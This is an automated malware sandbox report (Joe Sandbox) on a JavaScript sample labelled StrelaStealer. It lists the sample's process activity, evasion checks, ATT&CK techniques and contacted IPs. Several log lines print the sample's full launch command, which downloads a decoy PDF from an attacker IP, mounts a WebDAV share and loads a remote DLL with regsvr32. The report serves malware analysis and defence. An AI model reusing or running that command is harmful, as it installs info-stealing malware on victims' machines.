Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5537			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4016			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6096	Thread sleep count: 5537 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6096	Thread sleep count: 4016 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5664	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2588	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5888	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4364	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4412	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7268	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000008.00000002.3018273406.000001A747C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000006.00000003.1803509595.000001DD38108000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1805732280.000001DD38108000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1805598903.000001DD380A8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3019256741.000001A74D25A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
326391126385512788.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false	high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1737426973.0000022FF5469000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.ver)	svchost.exe, 00000008.00000002.3019184098.000001A74D200000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1804400908.000001A74D172000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1805732280.000001DD380FC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1805654136.000001DD380DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1803509595.000001DD380FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1804179611.000001DD380DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1805598903.000001DD380A8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/sce	net.exe, 00000006.00000002.1805598903.000001DD380A8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1804400908.000001A74D172000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588521
Start date and time:	2025-01-11 02:01:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	326391126385512788.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/63@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 172.64.41.3, 162.159.61.3, 23.209.209.135, 184.28.90.27, 199.232.210.172, 23.200.0.177, 23.200.0.176, 23.200.0.179, 23.200.0.209, 23.200.0.173, 23.200.0.196, 23.200.0.201, 23.200.0.206, 192.168.2.4, 20.109.210.53, 23.195.92.153, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 326391126385512788.js

Simulations

Behavior and APIs

Time	Type	Description
20:02:07	API Interceptor	23x Sleep call for process: powershell.exe modified
20:02:11	API Interceptor	1x Sleep call for process: net.exe modified
20:02:11	API Interceptor	2x Sleep call for process: svchost.exe modified
20:02:18	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
